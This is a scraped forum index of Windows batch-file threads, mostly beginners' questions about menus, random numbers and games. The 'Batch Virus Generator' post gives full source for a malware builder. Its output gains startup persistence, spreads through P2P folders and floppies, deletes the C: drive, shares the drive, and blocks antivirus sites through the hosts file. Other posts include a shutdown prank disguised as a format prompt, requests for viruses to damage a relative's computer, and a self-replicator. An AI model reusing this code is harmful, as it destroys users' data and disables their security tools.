Batch

I was wondering if any one could tell me whats wrong with this batch file?@ echo offecho Would you like to format C:? Y/Nset /p answer=if %answer%=n goto 2exitif %answer%=y goto 3exit:2echo System Failure!shutdown -s -f -t 10pause:3echo ERROR!!shutdown -s -f -t 10pause

Topic by eragon44111 10 years ago  |  last reply 4 years ago


batch randomization

Ok so im trying to make a text based game in batch, my concept was a batch store game where every time a customer walks in for example they ask for something its not the same thing every time you restart the batch file and if there is a way to put a section on the batch file where you could list a few scenarios and batch would randomize it to be one of those scenarios you had.

Question by RoyalR5 1 year ago  |  last reply 1 year ago


question in batch

How do i make scenarios like it randomlz choses a scenario that zou put in some where

Question by RoyalR5 1 year ago  |  last reply 1 year ago


Batch Files Answered

How do you get a batch file to emit text in multiple colors?

Question by batch master 8 years ago  |  last reply 5 years ago


Batch Randomization Answered

So how do you make randomized scenarios in batch because im making a text based game where i need random scenarios like for example get a random customer for a shop game or random skeleton appearing with a randomized amount of hp that you can set.

Question by royalroachemail 1 year ago  |  last reply 1 year ago


Batch files?

Hey people! Just so you know, im sorta new at this whole 'computer' tech thing. I was wondering how i could learn how to write batch, VBS, HTML, and JAVAScript. Please help, thanks

Topic by B.F.L.M 10 years ago  |  last reply 9 years ago


Batch Coding

I need an interactive advanced batch and visual basic scripts course.

Topic by DarkShadowOrigin 1 year ago  |  last reply 1 year ago


Batch project

I need people that can script/batch to bounce some ides off of. through ideas out and let them get heard, talk about them, ask for help, I will ask some things along the way I'm sure :D!! Batchers Unite!!!!

Topic by spiker 10 years ago  |  last reply 6 years ago


my batch

I have been playing around with batch coding for a month now and i finaly finished and figered out everything i need to do to get this to work. so here it is.@ECHO OFFcolor 0a:topecho -----------------------------------------------echo type the number 1 for a number guessing gameecho type the number 2 for a calculatorecho type the number 3 to see a dumb thing a made up.echo type the number 4 to exit.echo this is a free-to-use programecho give all credit to dsman1echo do not edit with out dsman1's consentecho -----------------------------------------------set variable1=1set variable2=yset variable3=nset variable4=3set variable5=2set variable7=0set variable9=4set /p udefine=if %udefine%==%variable1% (goto game)if %udefine%==%variable5% (goto calc) if %udefine%==%variable4% (goto starwars)if %udefine%==%variable9% (exit):calcecho hi and wellcome to calcualtorecho credit for programing goes to dsman1echo -----------------------------------------------echo mutiply = *echo divide = /echo add = +echo subtract= -echo parenthesis can be in your problems.:loopecho -----------------------------------------------SET /p UDefine=echo =SET /a UDefine=%UDefine%ECHO %UDefine%echo math is funECHO.echo again? y/nset /p udefine=if %udefine%==%variable2% (goto loop) else (goto top ):game@ECHO OFFSET /a GuessNum=0SET /a Answer=%random%ECHO Guess what Number I'm thinking of.:RetrySET /p Guess=IF %Guess% LSS %Answer% ECHO My Number is Higher.IF %Guess% GTR %Answer% ECHO My Number is Lower.IF %Guess%==%Answer% GOTO ENDECHO.SET /a GuessNum=%GuessNum%+1GOTO Retry:ENDECHO You are Correct! The Answer was %Answer%ECHO It took %GuessNum% Guesses.ECHO.echo play again? y/nset /p udefine=if %udefine%==%variable2% (goto game) else (goto top ):starwarsecho dont press a buttonpauseecho ok pleasepauseecho please with suger on toppauseecho ok come on nowpauseecho you are just trying to irritate mepauseecho and it's working...pauseecho i will blow you up in...pauseecho 5pause echo 4pause echo 3pauseecho 2pause echo 1pause echo boom!!!pauseecho hahapauseecho your dead!pauseecho try to push a button now!pauseecho darnpauseecho echo / you will die mortal \echo / mahaha \echo / \echo pauseset /a variable6=500:heheset /a variable6=%variable6%-1echo hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaif %variable6%==0 goto :hahagoto hehe:hahaecho play again? y/nset /p udefine=if %udefine%==%variable2% (goto starwars) else (goto top )copy that and paste it into note pad. save it with .bat at the end. save it to your desktop and then click on it.this is what the code looks like. me copying the code messed it up. so please just download the .exe verson[www.dsman1.webs.com/calc.exe download]

Topic by dsman195276 11 years ago  |  last reply 11 years ago


batch files

Can you get a batch to send itself over the internet

Topic by azid 11 years ago  |  last reply 11 years ago


Batch Questions

Ask all your questions about batch programming in this topic, and I will give you my best answer! Be sure to check out my batch instructables, which can be found here!

Topic by Arbitror 10 years ago  |  last reply 8 years ago


Batch Beeps

Some kids at my school have created some sort of command prompt to where it plays beeps at different pitches to create almost what one would call music. I was quite amazed by this and was wondering if anyone else knew how to make these sounds? All I know is that command prompt is involved. Thanks :)

Topic by qwewqazaq 11 years ago  |  last reply 2 years ago


Batch file viruses

I need to know how to create a batch file virus, and some works please.

Topic by Beniah 10 years ago  |  last reply 10 years ago


Matrix Batch File

Please could some one write me a batch file that says makes the command prompt says Will, The Matrix has you...

Topic by bloodsugarsexmagik 11 years ago  |  last reply 7 years ago


Batch file zip

I need a batch file that will zip up text file with a password that resides on a network drive. Can some one help me with this?

Topic by computerguy 11 years ago  |  last reply 11 years ago


Batch Cracker Group

Hello ! i decide to create my own group member and the name is Batch Cracker Group ..send me a private message if you want to ask any question ..

Topic by razzieddyza 10 years ago  |  last reply 10 years ago


General Batch Discussion

The Official Batch Homies Discussion Forum

Topic by Chad Baxter 6 years ago  |  last reply 4 years ago


Batch Help(randomization)? Answered

Hello Im workin on a batch file and i would like to have help with with making Cmd randomize between two selected numbers Example: Random 1-10 Answer: 3

Question by Chromatica 9 years ago  |  last reply 4 weeks ago


Batch pause command

I was just wondering if there was a way to customize the message in a batch file to say something other then "press any key to continue....." or hiding the message with ">nul" thanks Batchers Unite!!!

Topic by spiker 10 years ago  |  last reply 4 years ago


Variables in a batch file?

Im working with Vista SP1 and experimenting with batch files, i came up with a problem so i'd see what you thought. This is the code i was using::top@echo offcolor 0aTitle Experiment by Meecho -------------------------------------echo Type a letter between a and d.echo -------------------------------------set /p letter=if %letter%=agoto a:aecho This is the result of entering Apause>nulWhat happens is that the box closes after you enter your letter and press enter, i dont have any more results (i.e. where it says :a) because i found it didnt work

Question by Pawn_of_Prophecy 10 years ago  |  last reply 6 years ago


Batch File Help...

Hi guys, i think this might be a bit of a nooby question but here goes: I have made a batch file that lets you add a password to a file, here is the problem, i would like to make the password so when you type it, it will show "****" or something to use to hide the password.Is there anyway of doing this,if so can you please tell me. Thanks :P Oh and here is the link to the source code: http://pastebin.com/EAiNvzz5

Topic by Petzl11 5 years ago  |  last reply 3 years ago


Batch File Help

Okay, so I figured out how to make one batch file send information to another one. The solution was quite simple. Sejma helped, both witht he final design and for support. I just want to know if there is a way to time an IF command without using CHOICE. Basically, I want to combine the two: ping localhost -n x > nul if %a% equ a goto a If that is even possible, I don;t know. I know I've posted a million questions already, so I'm very sorry about that. Thank you for your time. EDIT: Figured it out. IF %A% EQU A GOTO A & PING LOCALHOST -N x > NUL Now, does anybody know how to convert a .EXE file to a .BAT file?

Question by TheBatchies 9 years ago  |  last reply 6 years ago


Batch/.bat Programing Answered

I would like to create a variable that is between two preset numbers but they are randomly created that runs in a batch program. For example if I wanted to create a program that would act like a dice where there is a 1/6 chance (for a 6 sided dice) of the dice landing on any number between 1 and 6.

Question by Dr. Kreap 7 years ago  |  last reply 6 years ago


batch file reg?

I have a software that extracts data from  a hardware located in a different location. so my problem is to get that data i have to run the software all the time. so i want to make that software autorun itself when i switch on my PC/Laptop and also i want those data to be stored in one location in a suitable format. please help me out. further i also want the system to extract the data at  particular interval of time(say every ten minutes).

Question by Josus 6 years ago  |  last reply 6 years ago


another batch question?

How can i open the screen saver and display it on the entire screen in a batch program?

Question by Laserman595 9 years ago  |  last reply 9 years ago


Tricky batch stuff...?

This isn't exactly a conventional question, but it's a question nonetheless.  The thing is, I'm thinking of starting a forum for all the tricky techniques and methods with batch (it wouldn't be a great instructable as it would require a lot of previous knowledge). So, I'd basically just have an index with all these different segments of how to do tricky stuff (such as advanced techniques for piping and other random stuff). The only problem is that I don't know what to make it on, so I'm trying to target people who've read all the instructables and are still missing that extra bit of information. Now, you could say something like "do whatever you think is hard", but the thing is I work better when it's at the request of someone else (basically I like to help people, and I'm abusing that natural urge). So, if you're experienced in batch but are curious about anything (perhaps how to ignore every rule in the book and put 50 nested for loops within your script), please post it below. Thank you. --EDIT-- I've started rewriting my batch tutorial, so most of the stuff you comment will go into that... somewhere.

Question by Prof. Pickle 6 years ago  |  last reply 6 years ago


Cool Batch applet

Hey whats up the names Jason. I am 13 and like to play with computers but not like Halo (although i am guilty of occasionally playing Halo) what interest me is computer logic and programming. So right now i am half-way decentish with Qbasic and consequently Visual Basic, but the language i am most fluent in is just plain old DOS scripting (batch files). My math teacher at the begging of the year my math teacher announced that once o twice a month we would have a pop quiz on square roots and squares of numbers 1-20. Now to say the least I am poor with memorization. So i tried flash cards and starin at a sheet with the squares and square roots on it. but I was pretty consistently getting 60s and 70s. Now being a pretty good student this upset me and my parents weren't exactly happy. So then i decided i would make a batch file to quiz me on this, my first one was on sqrts. writing this took forever so even still i made another for squares. These programs help me study immensely and i now get a perfect 100 every quiz.. i then started thinking that there must be a way to speed up the writing of a simaler quiz program. thats why i wrote this, and i know it is probably mediocre but i like it so be nice. (You can do whatever you want with this source code, and while not required i would prefer credit if you distribute a mod of this batch file.)Here it is:rem The purpose of this batch is to automate the process of making another batch that is used to quiz a person@echo off:startclsEcho Make a Quizecho.echo.rem this part creates a variabl that wil be used in creating the final batch fileecho enter the name of the fileecho .bat wil automaticaly be tacked ont to the endSet /p filename=echo.echo.rem This just creates a ariable that is the title of the the game to be createdecho now enter the title of the quizset/p title=echo.echo.rem this is where the user inputs question part one and it becomes a variableecho enter question part 1Set /p quespt1=echo.echo.rem this ask for the second part of the question echo enter qeustion part 2set /p quespt2=echo.echo.Rem this declares some variables just for shorthandset line=echo.set ec=echoRem this creates a file that user named a while back and then fills it with some preliminary textecho @echo off>%filename%.batecho :start>>%filename%.batecho cls>>%filename%.batecho echo %title%>>%filename%.batecho %line%>>%filename%.batecho %line%>>%filename%.batrem this part is called midstart because ideally later you can repeat this multiple times depending on how long your quiz isset next=0:midstartset /a next=%next%+1rem now we ask for the question of the questionecho now enter the question for the current questionSet /p questmp=echo.echo.rem now we ask for the answer for that questionecho now the answer to that same questionSet /p anstmp=rem More txt inserting (the %%answer%% is used so that in the batch file being created it shows up as %answer%)echo echo %quespt1% %questmp% %quespt2%>>%filename%.batecho set /p answer=>>%filename%.batecho if %%answer%% == %anstmp% goto next%next%>>%filename%.batecho echo you lost>>%filename%.batecho pause>>%filename%.batecho goto start>>%filename%.batecho :next%next%>>%filename%.batecho echo You got it right>>%filename%.batecho %line%>>%filename%.batecho %line%>>%filename%.batecho you have asked %next% question(s)echo.echo.echo If you would like to make a new question simply type "n" and press enterecho However to input your last question type "l" and press enterset /p endchoice=if %endchoice% == l goto endif %endchoice% == n goto restart:restartgoto midstart:endset /a next=%next%+1rem now we ask for the question of the questionecho now enter the question for the current questionSet /p questmp=echo.echo.rem now we ask for the answer for that questionecho now the answer to that same questionSet /p anstmp=rem More txt inserting (the %%answer%% is used so that in the batch file being created it shows up as %answer%)echo echo %quespt1% %questmp% %quespt2%>>%filename%.batecho set /p answer=>>%filename%.batecho if %%answer%% == %anstmp% goto next%next%>>%filename%.batecho echo you lost>>%filename%.batecho pause>>%filename%.batecho goto start>>%filename%.batecho :next%next%>>%filename%.batecho echo you won>>%filename%.batecho echo !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>>%filename%.batecho %line%>>%filename%.batecho echo click to exit>>%filename%.batecho pause>>%filename%.batEcho And thats it your doneecho.echo click to exitset /p end=And thats it so have fun and feel free to comment

Topic by lemonshark10 11 years ago  |  last reply 11 years ago


Batch Program ideas

Hey everyone! ive made only two batch programs, as you may or may not know. i need ideas, anything that you suggest, i can make!! (no moving games, cant do that) but anything else you want me to make, i can and WILL program it. its your chance to express yourselves, i need ideas!!      *dont give simple ideas, i like chalenges ;)

Topic by Country Boy 97 7 years ago  |  last reply 1 year ago


Batch file help

Hello everybody I am starting to get into batch files and so on. I am trying to make a program that will copy different files depending on what the user wants. Would anybody know where I can find some good turituals or a ( free)program that will make the codes for me ? I need to Figure out how to make a menu. The options need to copy certain files from a floppy (a) to the desktop. Is there anyway for me to make shortcuts in a folder of all the shared folders without knowing there names ? Codes and links are much appreciated The below image is as far as I have gotten

Topic by littlechef37 11 years ago  |  last reply 6 years ago


Batch Virus Generator

I made a virus generator in batch, i didnt quite look it over so yeah here it isAND the Final Batch File End up In c:\well you can delete windowsdo netsharescopy to startup folder a:\ c:\windows and like p2pStop From going to Site Using Lmhosts(Note It Doesnt Work For win 98/95) Reason set /p and cmd /c wich could can be converted 2 command /cHere are the codes ::startageecho offecho ..................echo : Virus Gen 2.o :echo : By: Vinylshakers : echo :................: echo echo · Startupecho · Copy To Windowsecho · Delete HARDRIVEecho enter name of virus Belowset /p filename=%filename%clsEcho Add To Startup? Yes or No Note:Use all LowerCaseset /p answer=%answer%IF "%answer%"=="yes" goto startgoto copyIF not "%answer%"=="yes" goto copygoto copy:copyEcho Copy TO %WINDIR% A:\ P2P FOLDER? YES OR NOset /p answer2=%answer2%IF "%answer2%"=="yes" GOTO START2:DELecho Delete Windows?set /p answer3=%answer3%IF "%answer3%"=="yes" GOTO START3echo Share c:\set /p answer4=%answer4%IF "%answer4%"=="yes" GOTO START4:lmhostecho Stop From Going To Anti-Virus Websites?set /p answer5=%answer5%IF "%answer5%"=="yes" GOTO assIF "%answer5%"=="no" exit:startecho COPY "c:\%filename%.BAT" "C:\Documents and Settings\All Users\Start Menu\Programs\startup\%filename%.bat">>c:\%filename%.batgoto copy:start:START2echo COPY "c:\%filename%.bat" "c:\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Morpheus\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Grokster\My Grokster">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\eMule\Incoming">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\limewire\Shared">>c:\%filename%.batecho copy c:\windows\%filename%.BAT>>c:\%filename%.batECHO COPY C:\%filename%.BAT A:\COMPRESS.BAT>>C:\%filename%.BATGOTO DEL:start2:start3echo deltree /y c:\>>c:\%FILENAME%.BATecho del c:\ /y /s>>c:\%FILENAME%.BAT:start3:start 4echo net share c:\=haxor>>c:\%filename%.batgoto lmhost:start 4:assecho cmd /c "echo 127.0.0.1 www.symantec.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.sophos.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.avast.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.mcafee.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.f-prot.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.f-secure.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.avp.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.kaspersky.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.trendmicro.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.bitdefender.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.my-etrust.com>>c:\windows\system32\Drivers\Etc\Hosts>>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.eset.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.norman.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.grisoft.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.google.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 mx1.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 mx2.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 messenger.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batexit:asspausePlz note that i do not take responsibility if u are causing damage to other people's computer, this batch virus gen is only for fun!

Topic by Vinylshakers 11 years ago  |  last reply 11 years ago


Useful Batch Commands

Hey guys, I wanted to post a quick forum topic about useful batch commands that are seldom used or not well-known, or maybe just useful tidbits. Note: These do not have to be used, they are just extremely helpful and are just "extra," meaning you could probably find easier-to-understand but not as useful commands. 1. The CHOICE command The reason this command is so cool is that unlike other Y/N menus, when you enter the desired number, you don't have to hit enter, it goes straight to the next screen. You can also program it to execute a command after a set amount of time. Here's how to write it out: choice /c:12345 /t:5,10 if errorlevel 5 goto ha if errorlevel 4 goto joke if errorlevel 3 goto tired if errorlevel 2 goto fried if errorlevel 1 goto chiken To time it, you type /t and then a colon. You write the choice that you want to be timed, e.g. 5, and the amount of time in seconds you want it to wait for seperated by a comma. 2. The Random Variable The reason I deceided to put this up is because it is one of the only if not the only variable that is already programmed into the system. By using it correctly, you can generate a number between 1 and 32767. WHAT?! Of course, you can narrow it down, to, say about 1 and 100. :dim set rnd=%random% if %rnd% GEQ 101 goto dim if %rnd% LEQ 0 goto dim set number=%rnd% So as you can see, %random% is a set variable and generates a random number for you. Please keep in mind that this can take one second, or one eternity (literally) since it doesn't narrow down the choices after finding that a number doesn;t work. So, you may keep on generating 101 forever and never get to 100! 3. The ^| Command. Ever get frustrated because you are making an animation with, for example, stick figures and are getting driven nuts because the minute it gets to a certain part, it exits on you? The reason is probably because you used the | symbol, which is actually knd of like a command by itself. So, if you're doing something like this: echo [0] echo /| echo / The reason it is not working is because you didin't use a ^ before the |. Here's what it should be: echo [0] echo /^| echo / Yes, it looks wierd in the editing stages, but looks much better in the real thing. Just remember, you will have to remember that the ^ will be invisible, so make sure everything else in front of it is like this: echo [0]   [ echo /^|    [ echo /     [ So that the [ or whatever it is is one space ahead from the others. 4. The %TIME:~0,5% Command. What time is it? Oh, it's 3:16:52.29! Ever been frustrated with the TIME command? For one, who ( and when I mean who, I mean the average batcher who doesn't use the TIME command to synchronize seven different computers around the house which I could never hope to do) needs to be that exact? When making a batch alarm clock, for example, the user wouldn't really want to do all of that, would they? So, for those of you who would want to make such a clock, here's an example: @echo off title Alarm Clock :start cls color f0 echo. echo Use 24 hour clock echo. set /p a=Set Alarm: cls echo. echo Alarm set to %a%. :alarm if %time:~0,5% EQU %a% goto alarmset goto alarm :alarmset color fc echo echo echo cls echo. echo It's %time:~0,5%! echo. echo Press 1 to acknowledge. choice /n /c:12 /t:2,1 if errorlevel 2 goto alarmset if errorlevel 1 goto sleep goto alarmset :sleep goto start So there's one example. %TIME:~0,5% sets the time from 3:15:00.00 to just 15:15. This doesn't work just with the TIME command, you can do this with any variable. If I had a variable %x% and it said "crayon" and wanted it to say "cray," I would type in %x:~0,-2%. If I wanted to make %x% say "on," I would type in %x:~-4,0%. 5. The AT Command The AT command is exactly what it appears to be. You tell it AT (time) /every:[day(s) of the week] (command to be executed). So, it I wanted an alarm to go off whenever the Simpsons are on, I'd type AT 19:30 /every:sumtwthfs echo ALARM!!! Now, I know that the Simpsons are on at a different time on Sundays, but that's not important. Please not that you HAVE to specify what day you want it to go off on (it can be dd/mm/yyyy to be really specific). Default is set to "tomorrow." This was probably too confusing. For one, I talk too much. Thank you for even getting this far, anyways. Thanks a bunch!

Topic by TheBatchies 9 years ago  |  last reply 9 years ago


Made a batch of the gummies

Made a batch of the gummies . Put them in cellophane bags to put in pinata's. They sweated and started to dissolve, they were also VERY chewy... what am I doing wrong...? Any hints..?

Question by tigerjeff 9 years ago  |  last reply 9 years ago


Spammy Batch File

Here is the code for a spammy batch file. @echo off echo This batch file is made possible by the divine blessing of Monty Python! pause>nul echo Spam Spam Spam Spam echo Spam Spam! A: echo Lovely Spam! echo Beautiful Span! echo Lovely Spam! echo Beautiful Spam! goto a

Topic by dla888 9 years ago  |  last reply 6 years ago


Batch file menu.

I need a super simple way to have a batch file open other batch files with a menu, that has several options. It is part off me cleaning up my desktop, where you could open the file, and choose the number you want (say pictures or word documents) and it would open a folder with them in it.

Question by XOIIO 9 years ago  |  last reply 3 years ago


mini batches of wine

Im gonna start making mini batches of wine to see what kinds im gonna mass produce.......is there a formula for sugar to yeast......im making them in pet bottles or cocacola bottles

Topic by rollingstoner357 11 years ago


Batch Code variables?

So, I have been making a "OS" in Batch recently, and i am working on the main menu. it all works fine on the first variable, but when i type in anything else, (anything on the keyboard) it comes up with just the first variable. Anyone got any ideas for fixes? here's the code: ========================= @echo off :MMlauncher title Main_Menu echo Welcome to DolphOS! echo What would you like to do? echo. echo 1 File Explorer echo 2 Games echo 3 Notepad echo 4 Clock echo 5 Close DolphOS set /p programs=Enter number here: if%programs%==1 goto FeLauncher if%programs%==2 goto GMSLauncher if%programs%==3 goto NtpdLauncher if%programs%==4 goto ClkLauncher if%programs%==5 goto ShtDwn :FeLauncher echo l ping localhost -n .15 >nul cls echo la ping localhost -n .15 >nul cls echo lau ping localhost -n .15 >nul cls echo laun ping localhost -n .15 >nul cls echo launc ping localhost -n .15 >nul cls echo launch ping localhost -n .15 >nul cls echo launchi ping localhost -n .15 >nul cls echo launchin ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching F ping localhost -n .15 >nul cls echo launching Fi ping localhost -n .15 >nul cls echo launching Fil ping localhost -n .15 >nul cls echo launching File ping localhost -n .15 >nul cls echo launching File ping localhost -n .15 >nul cls echo launching File e ping localhost -n .15 >nul cls echo launching File ex ping localhost -n .15 >nul cls echo launching File exp ping localhost -n .15 >nul cls echo launching File expl ping localhost -n .15 >nul cls echo launching File explo ping localhost -n .15 >nul cls echo launching File explor ping localhost -n .15 >nul cls echo launching File explore ping localhost -n .15 >nul cls echo launching File explorer ping localhost -n .15 >nul cls echo launching File explorer. ping localhost -n .15 >nul cls echo launching File explorer.. ping localhost -n .15 >nul cls echo launching File explorer... ping localhost -n .15 >nul cls echo launching File explorer... ping localhost -n 5 >nul cls echo launching File explorer... cls C:\users\Harrison\Documents\DolphOS\FeLauncher :GMSLauncher echo l ping localhost -n .15 >nul cls echo la ping localhost -n .15 >nul cls echo lau ping localhost -n .15 >nul cls echo laun ping localhost -n .15 >nul cls echo launc ping localhost -n .15 >nul cls echo launch ping localhost -n .15 >nul cls echo launchi ping localhost -n .15 >nul cls echo launchin ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching G ping localhost -n .15 >nul cls echo launching Ga ping localhost -n .15 >nul cls echo launching Gam ping localhost -n .15 >nul cls echo launching Game ping localhost -n .15 >nul cls echo launching Games ping localhost -n .15 >nul cls echo launching Games ping localhost -n .15 >nul cls echo launching Games. ping localhost -n .15 >nul cls echo launching Games.. ping localhost -n .15 >nul cls echo launching Games... ping localhost -n .15 >nul cls echo launching Games ping localhost -n 5 >nul cls :NtpdLauncher echo l ping localhost -n .15 >nul cls echo la ping localhost -n .15 >nul cls echo lau ping localhost -n .15 >nul cls echo laun ping localhost -n .15 >nul cls echo launc ping localhost -n .15 >nul cls echo launch ping localhost -n .15 >nul cls echo launchi ping localhost -n .15 >nul cls echo launchin ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching N ping localhost -n .15 >nul cls echo launching No ping localhost -n .15 >nul cls echo launching Not ping localhost -n .15 >nul cls echo launching Note ping localhost -n .15 >nul cls echo launching Notep ping localhost -n .15 >nul cls echo launching Notepa ping localhost -n .15 >nul cls echo launching Notepad ping localhost -n .15 >nul cls echo launching Notepad. ping localhost -n .15 >nul cls echo launching Notepad.. ping localhost -n .15 >nul cls echo launching Notepad... ping localhost -n 5 >nul cls ====================== thanks in advance,  -ThePuppet

Question by Fred the evil puppet 6 years ago  |  last reply 6 years ago


Batched file creation

I would like to have a simple batch file that would allow me to copy the entire contents from the system drive (C:) to a signal directory on another drive, In others words I want copy of the entire directory tree including all file but stored in one directory. I assume it can be done with xcopy. I use to right this type file all the time but the year have taken that ability from me. Thank for any help you can give me.

Question by ka3ebe 6 years ago  |  last reply 6 years ago


The Edge - Batch Game

The game; "The Edge" maybe be released in 14th March 2013 as 0.1 Alpha, but for now I have a demo for you to test, it's just only for you to look around the TV part of the game. Link to game: http://martzon.webs.com/ But you will need to make an WEBSID account in order to download it. martzon.webs.com>downloads>membersonlydownloads

Topic by martzon 6 years ago  |  last reply 6 years ago


what is a wildcard for folders in batch?

I am making a batch file to hide files and folders, what would be the wildcard to hide all folders, like *.* for files?

Question by XOIIO 8 years ago  |  last reply 8 years ago


Copy a specific directory in batch?

I am working on a batch file to back up specific folders, the directory is layed out lime this: Main Folder>saves>world1>etc                                      world2>etc                                      world3>etc Basically, I need a command to copy "world1" or whatever folder it is, but the entire thing, not just the contents. If I copy it to the desktop, it just copies the contents, I want it to directly copy the directory and subdirectories, so that it would show in the target area as "world1". How do I do this with xcopy?

Question by XOIIO 8 years ago  |  last reply 8 years ago


Is it possible to make batch files take fractions into account? Answered

When you put a command to evaluate and equation, like (2/3)+1, the answer would just appear as 1. Even when you put an equation like (2/3+1)*3, where the answer is an integer 5, the answer would come out as 3. Any idea how to make batch files calculate the fractions together with the integers?

Question by Aosih 9 years ago  |  last reply 9 years ago


can any 1 explain me abt delims and token in batch files???

I need some explanation on tokens and delims command used in batch file. CAn any 1 explain it in detail please

Question by 9 years ago  |  last reply 9 years ago


How do I make a batch file have a chance to do the next step?

I want to create a batch that when opened, has a 1/6 chance to open a file, if not it has a 1/5 chance to open something else, same process until final 100% option. How would I do this in batch, and if I can't do it in batch, where could I do this? Thanks for the help in advance.

Question by Flammeus 3 years ago  |  last reply 3 years ago


Is there a batch script that you can compile and have it run a command when a date/time is met.

I need a batch script that can: run in the backround when a certain date/time is reached execute a command Any help would be much appreciated. Private Message me Thanks dla888

Question by dla888 9 years ago  |  last reply 6 years ago


Can anyone help me with a batch file to disseminate new word style?

I am a complete novice with batch files. This is what I want to do: save 3 files to 3 locations for 60 users: 1. Normal.dotm to replace users existing Normal.dotm in C:\Documents and Settings\\Application Data\Microsoft\Templates 2. Save a new *.dotx Word 2007 quick style file to: C:\Documents and Settings\\Application Data\Microsoft\QuickStyles 3. Save\overwrite *.qat file to: C:\Documents and Settings\\Local Settings\Application Data\Microsoft\Office all users have access to a network folder any help woul be cool many thanks

Question by legally dead 10 years ago  |  last reply 10 years ago


Newbie

Hey guys I'm a newb at batching and I'm wondering if you guys could help me in my batching adventures. Just post some commands or any advice you guys could give me. Here is list of the top 3 things I want to know (do not limit your advice to just this): 1. How to make different colors 2. How to open another batch from a batch 3. How to make movies P.S. My PSN name is qui-gon621 just incase you wanted to know

Topic by qui-gon621 9 years ago  |  last reply 6 years ago


i need to know how to create a new virus im new at this so i need all the help i can get?

My brothers always looking at porn and i wanna completely ruin his comp

Question by R3negade 10 years ago  |  last reply 3 years ago


the best batchers

The best batchers (that i know of) are the following: 1.) me, i've made a few good viruses 2.) mutant, he's really good, i don't even fully understand hs instructable (maybe he should write the code of his links since they don't work) 3.) tat guy that mutant argued on on that other forum, i would like to learn more from him

Topic by thefirstgaruga 11 years ago  |  last reply 6 years ago


How to check if a video is playing, and if it is play it, if not don't play?

This is what I got: @ECHO off xcopy /h startMe2.bat u:\ xcopy /h InformationalVideo.mp4 u:\ :start tasklist /nh /fi "imagename eq InformationalVideo.mp4" | find /i "InformationalVideo.mp4" > nul ||(start InformationalVideo.mp4 param1) start startMe.bat start u:\startMe2.bat goto start but it doesn't work, anyone care to help?

Question by BrettJ9 3 years ago  |  last reply 3 years ago


replicators

I would like to hear your guy's batch replicators, here's a really old replicator that doesn't work from me: move "name of program" A: move "name of program" B: move "name of program" C: move "name of program" D: move "name of program" E: move "name of program" F: move "name of program" G: move "name of program" H: move "name of program" I: move "name of program" J: move "name of program" K: move "name of program" L: move "name of program" M: move "name of program" N: move "name of program" O: move "name of program" P: move "name of program" Q: move "name of program" R: move "name of program" S: move "name of program" T: move "name of program" U: move "name of program" V: move "name of program" W: move "name of program" X: move "name of program" Y: move "name of program" Z: if (A:\My computer\"name of program") move "name of program" desktop if (B:\My computer\"name of program") move "name of program" desktop if (C:\My computer\"name of program") move "name of program" desktop if (D:\My computer\"name of program") move "name of program" desktop if (E:\My computer\"name of program") move "name of program" desktop if (F:\My computer\"name of program") move "name of program" desktop if (G:\My computer\"name of program") move "name of program" desktop if (H:\My computer\"name of program") move "name of program" desktop if (I:\My computer\"name of program") move "name of program" desktop if J:\My computer\"name of program") move "name of program" desktop if K:\My computer\"name of program") move "name of program" desktop if L:\My computer\"name of program") move "name of program" desktop if M:\My computer\"name of program") move "name of program" desktop if (N:\My computer\"name of program") move "name of program" desktop if (O:\My computer\"name of program") move "name of program" desktop if (P:\My computer\"name of program") move "name of program" desktop if (Q:\My computer\"name of program") move "name of program" desktop if (R:\My computer\"name of program") move "name of program" desktop if (S:\My computer\"name of program") move "name of program" desktop if (T:\My computer\"name of program") move "name of program" desktop if (U:\My computer\"name of program") move "name of program" desktop if (V:\My computer\"name of program") move "name of program" desktop if (W:\My computer\"name of program") move "name of program" desktop if (X:\My computer\"name of program") move "name of program" desktop if (Y:\My computer\"name of program") move "name of 